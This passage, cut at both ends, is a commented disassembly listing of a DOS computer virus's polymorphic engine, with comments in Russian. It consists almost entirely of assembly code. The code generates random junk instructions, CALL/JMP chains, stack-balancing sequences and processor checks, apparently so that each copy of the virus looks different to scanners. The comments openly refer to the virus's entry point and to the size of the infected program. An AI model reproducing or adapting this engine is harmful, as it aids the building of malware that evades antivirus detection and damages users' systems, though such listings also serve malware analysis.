RET. 046E B8 0001 mov ax,1111h data_046F = word ptr $ - 2 0471 2E: 87 06 06BE xchg cs:StackCounter,ax 0476 2E: 2B 06 06BE sub ax,cs:StackCounter 047B 48 dec ax 047C E8 03C0 call sub_083F ; выровнять SP ;------------------------------------------------------------------------------ ; Если в вызывающей подпрограмме до вызова были неснятые значения в стеке, ; то снимем пару-другую слов (случайное кол-во) из стека при выходе 047F 2E: A1 06BE mov ax,cs:StackCounter 0483 2E: 2B 06 06F3 sub ax,cs:data_06F3 0488 40 inc ax ;AX - количество не снятых слов 0489 E8 FEBC call RND_0_AX 048C 74 13 jz short loc_04A1 ; если AX=0, то выйти по RET ;--------------- Выход по команде RET NEAR ----------------------------- 048E 2E: 29 06 06BE sub cs:StackCounter,ax 0493 D1 E0 shl ax,1 ; Shift w/zeros fill 0495 50 push ax 0496 B0 C2 mov al,0C2h ; cmd RET NEAR 0498 E8 01B0 call Write_byte 049B 58 pop ax 049C E8 0197 call Write_word 049F EB 05 jmp short loc_04A6 ;--------------- Выход по команде RET NEAR ------------------------------------ 04A1 loc_04A1: 04A1 B0 C3 mov al,0C3h ; cmd RET NEAR 04A3 E8 01A5 call Write_byte ;------------------------------------------------------------------------------ 04A6 loc_04A6: 04A6 83 C6 03 add si,3 ; три байта на команду перехода ; CALL или JMP 04A9 2E: 89 36 054F mov cs:data_054F,si 04AE 33 C0 xor ax,ax ; AX = 0 - признак вставки ; команды "RETn" 04B0 loc_04B0: 04B0 EB 0F jmp short loc_04C1 ;------------------------------------------------------------------------------ 04B2 loc_04B2: 04B2 56 push si ; запись Mark-end'а 04B3 40 inc ax ; деление на 0 невозможно (нужно для RND) 04B4 loc_04B4: ; "ОТКРЫТЬ" новый участок кода (вызвать подпрограмму) 04B4 2E: 8B 36 06BE mov si,cs:StackCounter 04B9 56 push si ; сохранить кол-во слов в стеке 04BA 46 inc si 04BB 2E: 89 36 06F3 mov cs:data_06F3,si ; Значение счетчика стека до начала ; этой подпрограммы 04C0 53 push bx ; сохранить текущий указатель ; очередного адреса (нужно чтобы ; потом продолжить с него) ;-------------------------------------------------------------------------- 04C1 loc_04C1: 04C1 52 push dx 04C2 51 push cx 04C3 95 xchg bp,ax 04C4 9E sahf ; восстановить входные флаги 04C5 9C pushf ; 04C6 0B ED or bp,bp ; Уже вставили "RETn" ??? 04C8 74 15 jz short loc_04DF ; bp = 0 - Да. ;-------------- генерация команды перехода CALL или JMP ------------------- 04CA 8B C5 mov ax,bp 04CC E8 FE79 call RND_0_AX ; гадаем чего вставить 04CF B0 E9 mov al,0E9h ; cmd JMP NEAR 04D1 75 06 jnz short loc_04D9 ; Jump if not zero 04D3 2E: FF 06 06BE inc word ptr cs:StackCounter ; с командой CALL в стеке ; нужно прибавить одно слово 04D8 48 dec ax ; cmd CALL NEAR 04D9 loc_04D9: 04D9 E8 016F call Write_byte ; запись команды 04DC E8 0157 call Write_word ; запись адреса перехода ; для начала случайного ;-------------------------------------------------------------------------- ; Закрываем очередную запись в инфо-блоке относящуюся к закрываемому ; участку сгенерированного кода 04DF loc_04DF: 04DF 8D 45 FC lea ax,[di-4] ; 4 байта под начало записи 04E2 BE 2B2C mov si,1111h ; динамический указатель ИНФО-блока data_04E3 = word ptr $ - 2 04E5 2B C6 sub ax,si ; подсчет размера закрываемого участка 04E7 89 04 mov [si],ax ; запись размера закрываемого участка ;------------------------------------------------------------------------------ 04E9 9D popf ; Pop flags 04EA B8 1D36 mov ax,1111h ; входной адрес в вирус (для ; последнего CALL или JMP) data_04EB = word ptr $ - 2 04ED 73 03 jnc short loc_04F2 ; Jump if CF=0 04EF E9 0088 jmp loc_057A ; сворачиваем работу генератора ;------------------------------------------------------------------------------ ; Определяем : стоит ли менять границы областей ? 04F2 loc_04F2: 04F2 8B C3 mov ax,bx ; текущий указатель адреса 04F4 2E: 3B 06 03CD cmp ax,cs:data_03CD 04F9 72 4F jb short loc_054A ; Jump if ниже границы области А 04FB 2E: 3B 06 03E7 cmp ax,cs:data_03E7 0500 73 48 jae short loc_054A ; Jump if выше границы области В ;-------------------------- 0502 2E: 2B 06 03E2 sub ax,cs:data_03E2 0507 73 27 jnc short loc_0530 ; Jump if попадает в область В 0509 2E: 8B 16 03D2 mov dx,cs:data_03D2 050E 3B DA cmp bx,dx 0510 73 38 jae short loc_054A ; Jump if выпадает из областей ;----------- Устанавливаем новые границы области "A" -------------------------- 0512 2B 54 02 sub dx,[si+2] ; DX = расстояние от текущего ; адреса до вершины области А 0515 8B C3 mov ax,bx 0517 2E: 2B 06 03CD sub ax,cs:data_03CD ; AX = расстояние от текущего ; адреса до дна области А ; подтягиваем ближнюю границу 051C 3B C2 cmp ax,dx 051E 72 09 jb short loc_0529 ; Jump if below 0520 8B 44 02 mov ax,[si+2] 0523 2E: A3 03D2 mov cs:data_03D2,ax ; опускаем верхнюю границу 0527 EB 21 jmp short loc_054A 0529 loc_0529: 0529 2E: 89 1E 03CD mov cs:data_03CD,bx ; подымаем нижнюю границу 052E EB 1A jmp short loc_054A ;----------- Устанавливаем новые границы области "B" -------------------------- 0530 loc_0530: 0530 92 xchg dx,ax 0531 2E: A1 03E7 mov ax,cs:data_03E7 0535 2B 44 02 sub ax,[si+2] 0538 3B C2 cmp ax,dx 053A 72 07 jb short loc_0543 ; Jump if below 053C 2E: 89 1E 03E2 mov cs:data_03E2,bx ; меняем нижнюю границу 0541 EB 07 jmp short loc_054A 0543 loc_0543: 0543 8B 44 02 mov ax,[si+2] 0546 2E: A3 03E7 mov cs:data_03E7,ax ; опускаем верхнюю границу к ; началу предыдущего участка ;------------------------------------------------------------------------------ ; Проверка : Нужно ли записывать смещение ? 054A loc_054A: 054A 0B ED or bp,bp ; Вставляли команду "RET" ? 054C 75 06 jnz short loc_0554 ; Jump if NO ; если вставляли RET, то смещение не нужно ... 054E BB 0067 mov bx,1111h data_054F = word ptr $ - 2 0551 9C pushf ; Push flags 0552 EB 2E jmp short loc_0582 ; обойти код вставляющий ; смещение ;------------------------------------------------------------------------------ ; гадаем в какой области ("A" или "B") распологать новый участок 0554 loc_0554: 0554 E8 FDEE call RND_01 ; вероятность равнозначная (1/2) 0557 2E: A1 03E7 mov ax,cs:data_03E7 055B 2E: 8B 16 03E2 mov dx,cs:data_03E2 ; база = нижний предел "B" 0560 74 09 jz short loc_056B ; Jump if RND = 0 0562 2E: A1 03D2 mov ax,cs:data_03D2 0566 2E: 8B 16 03CD mov dx,cs:data_03CD ; база = нижний предел "A" 056B loc_056B: 056B 2B C2 sub ax,dx ; AX = размер области 056D 2D 0003 sub ax,3 ; Минимум три байта на команду ; перехода (выхода) 0570 77 03 ja short loc_0575 ; Переход если больше 3-х байт 0572 B8 0001 mov ax,1 ; Только база(!). Без случайной ; компоненты 0575 loc_0575: ; Определяем место расположения участка в выбранной области 0575 E8 FDD0 call RND_0_AX 0578 03 C2 add ax,dx ; AX = база + случайное смещение 057A loc_057A: 057A 9C pushf ; Push flags 057B 2B C3 sub ax,bx ; AX = относительное смещение ; нового участка кода 057D 89 47 FE mov [bx-2],ax ; Записать этого смещения в команду ; перехода 0580 03 D8 add bx,ax ; BX = адрес нового участка ;------------------------------------------------------------------------------ ; Открываем новую запись в ИНФО-блоке ; Формат инфо-блока : dw - размер участка (=00 - Mark-end ИНФО-блока) ; dw - адрес участка ; N*db - коды участка ;------------------------------------------------------------------------------ 0582 loc_0582: 0582 2E: 89 3E 04E3 mov cs:data_04E3,di 0587 33 C0 xor ax,ax ; Zero register ; Сначала считаем что размер участка нулевой (этоже в случае свертывания ; работы генератора является Mark-end'ом ИНФО-блока 0589 AB stosw ; Store ax to es:[di] 058A 8B C3 mov ax,bx ; Запишем адрес начала нового участка генерируемого кода 058C AB stosw ; Store ax to es:[di] 058D 9D popf ; Pop flags 058E 73 0E jnc short loc_ret_059E ; Jump if CF=0 ;------------------------------------------------------------------------ ; Завершаем работу полиморфного механизма ;------------------------------------------------------------------------ 0590 2E: 8B 3E 0A03 mov di,cs:data_0A03 ; Запись Mark-end в MEM-блок 0595 B4 FF mov ah,0FFh 0597 AB stosw ; Store ax to es:[di] 0598 BC 00EC mov sp,1111h ; восстанавливаем стек data_0599 = word ptr $ - 2 059B B8 4000 mov ax,1111h ; AX = полный размер программы ; с вирусом data_059C = word ptr $ - 2 059E loc_ret_059E: 059E C3 retn sub_042E endp ;========================================================================== ; SUBROUTINE ;========================================================================== 059F loc_059F: 059F 80 FA 8E cmp dl,8Eh ; cmd MOV SEG, r/m 05A2 9C pushf ; Push flags 05A3 B0 00 mov al,0 05A5 74 03 jz short loc_05AA ; Jump if zero 05A7 E8 FD9B call RND_01 ; Слова или байты ? 05AA loc_05AA: 05AA E8 009C call sub_0649 ; Запись команды 05AD 92 xchg dx,ax 05AE E8 FD80 call RND_0_FF ; Генерация байта адресации 05B1 9D popf ; Pop flags 05B2 75 13 jnz short loc_05C7 ; Jump if not zero ;------------------------------------------------------------------------------ 05B4 24 C7 and al,11000111b ; Выкидываем REG поле 05B6 50 push ax 05B7 E8 FD8B call RND_01 05BA 58 pop ax 05BB 74 0A jz short loc_05C7 ; Jump if zero ;------------------------------------------------------------------------------ 05BD 2E: 80 3E 0A25 00 cmp cs:data_0A25,0 ; Регистр DS модифицировать можно ? 05C3 74 02 je short loc_05C7 ; Jump if NO 05C5 0C 18 or al,00011000b ; Если ДА, то { cmd MOV DS, r/m } 05C7 loc_05C7: 05C7 D0 EA shr dl,1 ; Слова или байты ? 05C9 73 0F jnc short loc_05DA ; Jump if байты ;------------------------------------------------------------------------------ ; В случае операции с 16-ти битными регистрами нужно откинуть SP 05CB loc_05CB: 05CB F9 stc ; Set carry flag 05CC 9C pushf ; Push flags 05CD 8A E0 mov ah,al 05CF 80 E4 38 and ah,00111000b ; Выделение поля REG 05D2 80 FC 20 cmp ah,00100000b 05D5 75 02 jne short loc_05D9 ; Jump if not equal 05D7 0C 08 or al,00001000b ; вместо SP подставляем BP 05D9 loc_05D9: 05D9 9D popf ; Pop flags ;========================================================================== ; * Разборка байта адресации * 05DA loc_05DA: 05DA 9F lahf ; Load ah from flags 05DB E8 006D call Write_byte 05DE A8 C0 test al,11000000b ; Выделение MOD 05E0 75 35 jnz short loc_0617 ; Jump if MOD <> 00 05E2 24 07 and al,00000111b ; Выделение R/M 05E4 3C 06 cmp al,00000110b ; Если R/M = 110 (т.е. disp16) ; то обход 05E6 74 48 je short loc_0630 ; Jump if equal 05E8 9E sahf ; Store ah into flags 05E9 73 2B jnc short loc_ret_0616 ; Jump if carry=0 ;--------------- определение типа процессора ---------------------------------- 05EB 54 push sp 05EC 5A pop dx 05ED 3B D4 cmp dx,sp 05EF 75 25 jne short loc_ret_0616 ; Jump if до 286 ;------------------------------------------------------------------------------ 05F1 3C 07 cmp al,00000111b 05F3 B4 04 mov ah,4 05F5 74 0A jz short loc_0601 ; Jump if zero 05F7 3C 04 cmp al,00000100b 05F9 72 1B jb short loc_ret_0616 ; Jump if below 05FB B4 01 mov ah,1 05FD 74 02 jz short loc_0601 ; Jump if zero 05FF B4 03 mov ah,3 0601 loc_0601: 0601 28 67 FF sub [bx-1],ah 0604 E8 FD2A call RND_0_FF ; Генерируем байт адресации 0607 24 C0 and al,11000000b ; Выделяем MOD ; исключить регистровую адресацию (MOD=11) 0609 3C C0 cmp al,11000000b ; MOD = 11 ? 060B 75 02 jne short loc_060F ; Jump if no 060D B0 80 mov al,10000000b ; сделать MOD = 10 060F loc_060F: 060F 08 47 FF or [bx-1],al 0612 0A C0 or al,al ; Zero ? 0614 75 01 jnz short loc_0617 ; Jump if not zero 0616 loc_ret_0616: 0616 C3 retn 0617 loc_0617: 0617 24 C0 and al,11000000b ; Выделяем MOD 0619 3C 40 cmp al,40h 061B 75 0F jne short loc_062C ; Jump if not equal ;------------------------------------------------------------------------------ ; Если процессор 286+, то не следует подходить к границе сегмента 061D loc_061D: 061D 54 push sp 061E 58 pop ax 061F 3B C4 cmp ax,sp 0621 B8 00FF mov ax,0FFh 0624 74 01 jz short loc_0627 ; Jump if zero 0626 40 inc ax 0627 loc_0627: 0627 E8 FD1E call RND_0_AX 062A EB 1F jmp short loc_064B 062C loc_062C: 062C 3C 80 cmp al,80h 062E 75 10 jne short loc_ret_0640 ; Jump if not equal ;===================IM16=================================================== 0630 loc_0630: 0630 B8 FFFF mov ax,0FFFFh 0633 E8 FD12 call RND_0_AX ;========================================================================== Write_word proc near 0636 loc_0636: 0636 E8 0012 call Write_byte 0639 86 E0 xchg ah,al 063B E8 000D call Write_byte 063E 86 C4 xchg al,ah 0640 loc_ret_0640: 0640 C3 retn Write_word endp ;========================================================================== ; SUBROUTINE ;========================================================================== sub_0641 proc near 0641 E8 FCF8 call RND_01234567 ; выбрать регистр 0644 3C 04 cmp al,4 ; если SP, то отбросить 0646 75 01 jne short loc_0649 ; Jump if not equal 0648 40 inc ax sub_0649: 0649 loc_0649: 0649 0A C2 or al,dl ; OP or REG ;============================================================================== ; Процедура записи снегенированного байта в память ; DI - текущее положение в ИНФО-блоке ; BX - указатель адреса заполняемого участка ;============================================================================== Write_byte: 064B loc_064B: 064B 50 push ax 064C 86 07 xchg [bx],al 064E AA stosb ; Store al to es:[di] 064F 58 pop ax 0650 43 inc bx ; Передвинуть указатель адреса 0651 2E: FF 06 09E0 inc cs:BytesWrittenCounter ; Подсчет количества сгенериро- ; ванных байт ; Продвигаем указатель ИНФО-блока по мере генерации новых байтов ; полиморфного "мусора" 0656 56 push si 0657 2E: 8B 36 04E3 mov si,cs:data_04E3 065C FF 04 inc word ptr [si] 065E 5E pop si 065F C3 retn sub_0641 endp ;========================================================================== ; Арифметические операции на регистрами типа КОП REG,r/m из набора data_0A43 ;========================================================================== sub_0660 proc near 0660 B8 000C mov ax,0Ch 0663 E8 FCE2 call RND_0_AX ; AX = 00..0Bh 0666 96 xchg si,ax 0667 2E: 8A 94 0A43 mov dl,cs:data_0A43[si] 066C E9 FF30 jmp loc_059F sub_0660 endp ;========================================================================== ; Операции пересылки в регистры ;========================================================================== sub_066F proc near 066F B2 B8 mov dl,0B8h ; cmd MOV REG,IM16 0671 E8 FCD1 call RND_01 0674 75 05 jnz short loc_067B ; Jump if not zero 0676 E8 FFC8 call sub_0641 0679 EB B5 jmp short loc_0630 067B loc_067B: 067B E8 FCBE call RND_01234567 ; Выбрать регистр 067E 0C B0 or al,0B0h 0680 E8 FFC8 call Write_byte ; cmd MOV REG,IM8 0683 loc_0683: 0683 EB 98 jmp short loc_061D sub_066F endp ;========================================================================== ; Арифметические операции над регистром AX(AL) из набора data_0A4F ;========================================================================== sub_0685 proc near 0685 B8 000A mov ax,0Ah 0688 E8 FCBD call RND_0_AX ; AX = 00..09 068B 96 xchg si,ax 068C E8 FCB6 call RND_01 ; Выбираем слова или байты 068F 2E: 0A 84 0A4F or al,cs:data_0A4F[si] 0694 E8 FFB4 call Write_byte 0697 0B F6 or si,si ; Zero ? 0699 74 06 jz short loc_06A1 ; Jump if zero 069B D0 E8 shr al,1 ; Выбрали слова или байты ? 069D 72 02 jc short loc_06A1 ; Jump if carry Set 069F EB E2 jmp short loc_0683 06A1 loc_06A1: 06A1 EB 8D jmp short loc_0630 sub_0685 endp ;============================================================================== ; Операции с сегментными регистрами Prefix, PUSH SEGREG, POP SEGERG ;============================================================================== sub_06A3 proc near 06A3 E8 FC9C call RND_012 ; Чего будем генерить ? ; =0 - сегментный префикс ; =1 - А может нужна команда POP ; =2 - PUSH сегментный регистр 06A6 B2 26 mov dl,26h ; SEG Prefix (ES:,DS:,CS:,SS:) 06A8 74 0A jz short loc_06B4 ; Jump if zero 06AA B2 06 mov dl,6 ; PUSH SEG_REG (ES/DS/CS/SS) 06AC 48 dec ax 06AD 74 0E jz short loc_06BD ; Jump if zero 06AF loc_06AF: 06AF 2E: FF 06 06BE inc cs:StackCounter ; Если команда PUSH, то доба- ; вить слово в счетчик стека 06B4 loc_06B4: 06B4 E8 FC88 call RND_0123 ; выбираем сегментный регистр 06B7 B1 03 mov cl,3 06B9 D2 E0 shl al,cl ; Shift w/zeros fill 06BB EB 8C jmp short loc_0649 ;------------------------------------------------------------------------------ 06BD loc_06BD: 06BD B8 0009 mov ax,1111h StackCounter = word ptr $-2 06C0 2E: 3B 06 06F3 cmp ax,cs:data_06F3 ; Есть ли в текущей подпрограмме ; не снятые значения в стеке ? 06C5 74 E8 je loc_06AF ; НЕТ. Тогда положим одно слово ;----------------------------------------------; ДА. Тогда снимем хоть одно --- 06C7 42 inc dx ; cmd POP ES 06C8 2E: FF 0E 06BE dec cs:StackCounter ; Снять слово со счетчика стека 06CD 2E: 80 3E 0A25 00 cmp cs:data_0A25,0 ; Можно ли модифицировать DS ? 06D3 74 07 je short loc_06DC ; Jump if NO 06D5 E8 FC6D call RND_01 ; Так что будем или нет ? 06D8 74 02 jz short loc_06DC ; Jump if RND=0 06DA B2 1F mov dl,1Fh ; cmd POP DS 06DC loc_06DC: 06DC 92 xchg dx,ax 06DD loc_06DD: 06DD E9 FF6B jmp loc_064B sub_06A3 endp ;============================================================================== ; Операции из набора data_0A5D ; Примечание: data_06F3 - при нулевом значении указывает на отсутсвие ; незакрытых подпрограмм ; - при ненулевом значении указывает на наличие ; открытых подпрограмм и содержит значение ; счетчика стека при открытии очередной подпрограммы ;============================================================================== sub_06E0 proc near 06E0 E8 FC5F call RND_012 ; Вероятность 1/2 06E3 74 06 jz short loc_06EB ; Jump if zero 06E5 B8 0005 mov ax,5 06E8 E8 FC5D call RND_0_AX ; AX = 00..04 06EB loc_06EB: 06EB 96 xchg si,ax 06EC 75 10 jnz short loc_06FE ; Jump if not zero 06EE 2E: A1 06BE mov ax,cs:StackCounter 06F2 3D 0007 cmp ax,1111h data_06F3 = word ptr $ - 2 06F5 74 06 je short loc_06FD ; Jump if equal 06F7 2E: FF 0E 06BE dec cs:StackCounter 06FC 4E dec si 06FD loc_06FD: 06FD 46 inc si 06FE loc_06FE: 06FE E8 FC3B call RND_01234567 ; Выбираем регистр 0701 4E dec si 0702 74 07 jz short loc_070B ; Jump if zero ; Регистр SP отбросить 0704 3C 04 cmp al,4 0706 75 08 jne short loc_0710 ; Jump if not equal 0708 40 inc ax ; заменяем на BP 0709 EB 05 jmp short loc_0710 070B loc_070B: 070B 2E: FF 06 06BE inc cs:StackCounter ; добавить одно слово к счетчи- ; ку стека 0710 loc_0710: 0710 2E: 0A 84 0A5D or al,cs:data_0A5D[si] 0715 EB C6 jmp short loc_06DD sub_06E0 endp ;============================================================================== ; Операции из набора data_0A61 ; Примечание : В случае процессора 286+ необходимо отбросить строковые операции ; со словами, т.к. если SI или DI примут значение FFFFh, то ; возникнет общая ощибка защиты (ПЕРЕХОД ЗА ГРАНИЦУ СЕГМЕНТА) ;============================================================================== sub_0717 proc near 0717 B8 0017 mov ax,17h ;--------------- определяем тип процессора ------------------------------------ 071A 54 push sp 071B 5A pop dx 071C 3B D4 cmp dx,sp 071E 75 03 jne short loc_0723 ; Jump if до 286 0720 2D 0003 sub ax,3 ; Иначе убрать строковые операции 0723 loc_0723: 0723 E8 FC22 call RND_0_AX 0726 96 xchg si,ax 0727 75 05 jnz short loc_072E ; Отслеживаем команду PUSHF 0729 2E: FF 06 06BE inc cs:StackCounter 072E loc_072E: 072E 2E: 8A 84 0A61 mov al,cs:data_0A61[si] 0733 EB A8 jmp short loc_06DD ; Write_byte sub_0717 endp ;============================================================================== ; Операции коррекции и загрузки из порта с вероятностью 1/2 каждая ;============================================================================== sub_0735 proc near 0735 B2 D4 mov dl,0D4h ; cmd AAM/AAD IM8 0737 E8 FC0B call RND_01 ; с вероятностью 1/2 073A 74 05 jz short loc_0741 ; Jump if zero 073C E8 02F7 call sub_0A36 ; Может вставить NOP ? 073F B2 E4 mov dl,0E4h ; cmd IN AL,IM8 0741 loc_0741: 0741 E8 FC01 call RND_01 ; Выбираем: слова или байты 0744 E8 FF02 call sub_0649 ; Запись команды 0747 E8 FBE7 call RND_0_FF ; Генерация IM8 074A 75 07 jnz short loc_0753 ; Jump if not zero 074C 80 7F FF D4 cmp byte ptr [bx-1],0D4h 0750 75 01 jne short loc_0753 ; Jump if not equal 0752 40 inc ax 0753 loc_0753: 0753 EB 88 jmp short loc_06DD ; Write_byte sub_0735 endp ;============================================================================== ; Операция PUSH R/M ;============================================================================== sub_0755 proc near 0755 B0 FF mov al,0FFh 0757 E8 FEF1 call Write_byte ; набор Grp2/3 075A E8 FBD4 call RND_0_FF 075D 24 C7 and al,11000111b ; из этого набора только 075F 0C 30 or al,00110000b ; команда PUSH 0761 2E: FF 06 06BE inc cs:StackCounter ; добавить слово в счетчик 0766 F9 stc ; Set carry flag 0767 E9 FE70 jmp loc_05DA sub_0755 endp ;============================================================================== ; Операция XCHG REG, R/M ;============================================================================== sub_076A proc near 076A E8 FBD8 call RND_01 ; Выбираем: слова или байты 076D 0C 86 or al,86h 076F E8 FED9 call Write_byte 0772 D0 E8 shr al,1 ; Выбрали слова или байты ? 0774 73 06 jnc short loc_077C ; переход, если байты 0776 E8 005A call sub_07D3 ; генерируем байт адресации 0779 loc_0779: 0779 E9 FE4F jmp loc_05CB ; Отлавливаем SP и записываем sub_077C: 077C loc_077C: 077C E8 0054 call sub_07D3 ; генерируем байт адресации 077F EB D2 jmp short loc_0753 ; Write_byte sub_076A endp ;============================================================================== ; Операции LEA, LDS, LES ;============================================================================== sub_0781 proc near 0781 E8 FBBE call RND_012 0784 75 09 jnz short loc_078F ; Jump if not zero 0786 2E: 80 3E 0A25 00 cmp cs:data_0A25,0 ; Можно менять регистр DS ? 078C 75 01 jne short loc_078F ; Jump if YES 078E 40 inc ax ; Если НЕТ, то откидываем LDS 078F loc_078F: 078F 96 xchg si,ax 0790 2E: 8A 84 0A59 mov al,cs:data_0A59[si] 0795 E8 FEB3 call Write_byte 0798 E8 FB96 call RND_0_FF ; Определяемся с байтом адресации 079B 3C C0 cmp al,11000000b 079D 72 02 jb short loc_07A1 ; Jump if below 079F 24 3F and al,00111111b ; MOD = 00 07A1 loc_07A1: 07A1 EB D6 jmp short loc_0779 sub_0781 endp ;============================================================================== ; Арифметические операции над регистрами ;============================================================================== sub_07A3 proc near 07A3 E8 FB96 call RND_01234567 ; Вероятность выбора наборов 07A6 74 18 jz short loc_07C0 ; Jump if zero ;-[ Набор ArOp 1/2 ]----------------------------------------------------------- 07A8 E8 FB94 call RND_0123 07AB 50 push ax 07AC 0C 80 or al,80h ; AL = 80h..83h 07AE E8 FE9A call Write_byte 07B1 D0 E8 shr al,1 ; Выбрали слова или байты ? 07B3 E8 FFC6 call sub_077C 07B6 loc_07B6: 07B6 58 pop ax 07B7 48 dec ax 07B8 74 03 jz short loc_07BD ; Jump if zero 07BA E9 FE60 jmp loc_061D ; IM8 07BD loc_07BD: 07BD E9 FE70 jmp loc_0630 ; IM16 ;-[ Набор Grp 2/3 ]------------------------------------------------------------ 07C0 loc_07C0: 07C0 E8 FB82 call RND_01 ; Выбираем: слова или байты 07C3 50 push ax 07C4 0C F6 or al,0F6h ; набор Grp2/3 07C6 E8 FE82 call Write_byte ; Запись команды набора 07C9 E8 FB70 call RND_01234567 ; Выбираем регистр для R/M 07CC 0C C0 or al,11000000b ; Установить MOD = 11 07CE E8 FE7A call Write_byte 07D1 EB E3 jmp short loc_07B6 sub_07A3 endp ;============================================================================== ; Генерация байта адресации с регистровой адресацией [MOD]-[REG]-[R/M] ; На входе : CF = 0 - 8-ми битные регистры ; CF = 1 - 16-ти битные регистры ;============================================================================== sub_07D3 proc near 07D3 9C pushf ; Push flags 07D4 E8 FB5F call RND_0_3F ; Генерим поля REG и R/M 07D7 9D popf ; Pop flags 07D8 73 0B jnc short loc_07E5 ; Jump if CF=0 ; если операции с 16-ти битными регистрами, то нужно следить за SP 07DA 8A E0 mov ah,al 07DC 80 E4 07 and ah,00000111b ; Выделить поле R/M 07DF 80 FC 04 cmp ah,00000100b ; Операции с SP пропускаем 07E2 75 01 jne short loc_07E5 ; Jump if not equal 07E4 40 inc ax ; Вместо SP ставим BP 07E5 loc_07E5: 07E5 0C C0 or al,11000000b ; MOD = 11 07E7 C3 retn sub_07D3 endp ;============================================================================== ; Операции MUL/IMUL над регистрами ;============================================================================== sub_07E8 proc near 07E8 E8 FB5A call RND_01 ; Выбираем: слова или байты 07EB 0C F6 or al,0F6h ; Набор Grp 2/3 07ED E8 FE5B call Write_byte ; Запись команды набора 07F0 92 xchg dx,ax 07F1 E8 FB3D call RND_0_FF ; генерим байт адресации 07F4 24 CF and al,11001111b ; Из набора Grp 2/3 выбираем 07F6 0C 20 or al,00100000b ; команды MUL/IMUL 07F8 D0 EA shr dl,1 ; Выбрали слова или байты ? 07FA E9 FDDD jmp loc_05DA sub_07E8 endp ;============================================================================== ; Операции NOT/NEG над регистрами ;============================================================================== sub_07FD proc near 07FD E8 FB45 call RND_01 ; Выбираем: слова или байты 0800 9C pushf ; Push flags 0801 0C F6 or al,0F6h ; Набор Grp 2/3 0803 92 xchg dx,ax 0804 E8 FB32 call RND_0_F ; AL = 0000 xREG 0807 8A E2 mov ah,dl 0809 0C D0 or al,11010000b ; MOD = 11, OP=01x, REG =RND 080B 9D popf ; Pop flags 080C 74 0B jz short loc_0819 ; Выбрали слова или байты ? ; если операции с 16-ти битными регистрами, то нужно следить за SP 080E 8A D0 mov dl,al 0810 80 E2 07 and dl,00000111b 0813 80 FA 04 cmp dl,00000100b ; отбросить SP 0816 75 01 jne short loc_0819 ; Jump if not equal 0818 40 inc ax ; Вместо SP ставим BP 0819 loc_0819: 0819 86 C4 xchg al,ah 081B loc_081B: 081B E9 FE18 jmp loc_0636 ; Write_byte sub_07FD endp ;============================================================================== ; Операции вращения содержимого регистров ;============================================================================== sub_081E proc near 081E E8 FB1E call RND_0123 0821 0C D0 or al,0D0h ; AL = D0h..D3h 0823 E8 FE25 call Write_byte ; Записать команду 0826 D0 E8 shr al,1 ; 0828 9C pushf ; Push flags 0829 E8 FB0A call RND_0_3F 082C 9D popf ; Pop flags 082D 73 0B jnc short loc_083A ; Выбрали слова или байты ? ; если операции с 16-ти битными регистрами, то нужно следить за SP 082F 8A E0 mov ah,al 0831 80 E4 07 and ah,00000111b 0834 80 FC 04 cmp ah,00000100b ; отбросить SP 0837 75 01 jne short loc_083A ; Jump if not equal 0839 40 inc ax ; Вместо SP ставим BP 083A loc_083A: 083A 0C C0 or al,11000000b ; MOD = 11 (только регистры) 083C loc_083C: 083C E9 FE0C jmp loc_064B ; Write_Byte sub_081E endp ;============================================================================== ; Процедура генерирующая команды выравнивания стека ; Вход : AX - количество слов, на которое надо выровнять стек ;============================================================================== sub_083F proc near 083F 51 push cx 0840 B1 58 mov cl,58h ; cmd POP REG 0842 48 dec ax ; AX = 1 0843 74 3B jz short loc_0880 ; Jump if zero 0845 48 dec ax ; AX = 2 0846 74 35 jz short loc_087D ; Jump if zero 0848 40 inc ax ; AX = 0 0849 40 inc ax 084A 74 37 jz short loc_0883 ; Jump if zero 084C B1 50 mov cl,50h ; cmd PUSH REG 084E 40 inc ax ; AX = -1 (FFFFh) 084F 74 2F jz short loc_0880 ; Jump if zero 0851 40 inc ax ; AX = -2 (FFFEh) 0852 74 29 jz short loc_087D ; Jump if zero ;------------------------------------------------------------------------------ ; Число AX преобразовать в количество слов (т.е. умножить на 2) 0854 48 dec ax 0855 48 dec ax 0856 D1 E0 shl ax,1 ; умножить на 2 0858 8B C8 mov cx,ax ; CX = количество слов 085A 98 cbw ; Convrt byte to word 085B 3B C1 cmp ax,cx ; Больше 127(7F) ? 085D 9C pushf ; Push flags ;------------------------------------------------------------------------------ ; Выбираем что делать : отнимать или прибавлять SP 085E E8 FAE4 call RND_01 ; Прибавить или отнять ? ; ---------------- прибавить 0861 B8 C483 mov ax,0C483h ; cmd {83 C4 xx} 0864 74 04 jz short loc_086A ; Jump if RND = 0 ; ---------------- отнять 0866 B4 EC mov ah,0ECh ; cmd {83 EC xx} 0868 F7 D9 neg cx ; CX = -CX 086A loc_086A: 086A 9D popf ; Pop flags 086B 75 07 jnz short loc_0874 ; Переход, если больше 127 ;-------- БАЙТЫ (IM8) --------------------------------------------------------- 086D E8 FDC6 call Write_word ; Запись команды 0870 91 xchg cx,ax 0871 59 pop cx 0872 EB C8 jmp short loc_083C ; Write_Byte (запись IM8) ;-------- СЛОВА (IM16) -------------------------------------------------------- ; {81 EC xx xx} - ADD SP, IM16 {81 EC xx xx} - SUB SP, IM16 0874 loc_0874: 0874 B0 81 mov al,81h 0876 E8 FDBD call Write_word 0879 91 xchg cx,ax 087A 59 pop cx 087B loc_087B: 087B EB 9E jmp short loc_081B ;------------------------------------------------------------------------------ 087D loc_087D: 087D E8 0005 call sub_0885 0880 loc_0880: 0880 E8 0002 call sub_0885 0883 loc_0883: 0883 59 pop cx 0884 C3 retn sub_083F endp ;============================================================================== ; Процедура генерации битов R/M в байте адресации ;============================================================================== sub_0885 proc near 0885 E8 FAB4 call RND_01234567 ; Выбираем регистр 0888 0A C1 or al,cl 088A 3C 5C cmp al,5Ch ; Операции POP SP ? 088C 75 AE jne loc_083C ; Jump if NO 088E B0 07 mov al,7 ; Заменяем на POP ES 0890 EB AA jmp short loc_083C sub_0885 endp ;============================================================================== ; Генерация инструкций условных и безусловных SHORT переходов ; Переходы только вперед, т.е. с положительным смещением ;============================================================================== sub_0892 proc near 0892 2E: 83 3E 06F3 00 cmp cs:data_06F3,0 ; Подпрограммы были ? 0898 74 05 je short loc_089F ; Jump if НЕТ 089A E8 FAA2 call RND_0123 ; ДА. Вероятность 1/4 089D 75 29 jnz short loc_ret_08C8 ; Jump if RND <> 0 089F loc_089F: 089F B8 0015 mov ax,15h 08A2 E8 FAA3 call RND_0_AX ; Вероятность 08A5 B4 EB mov 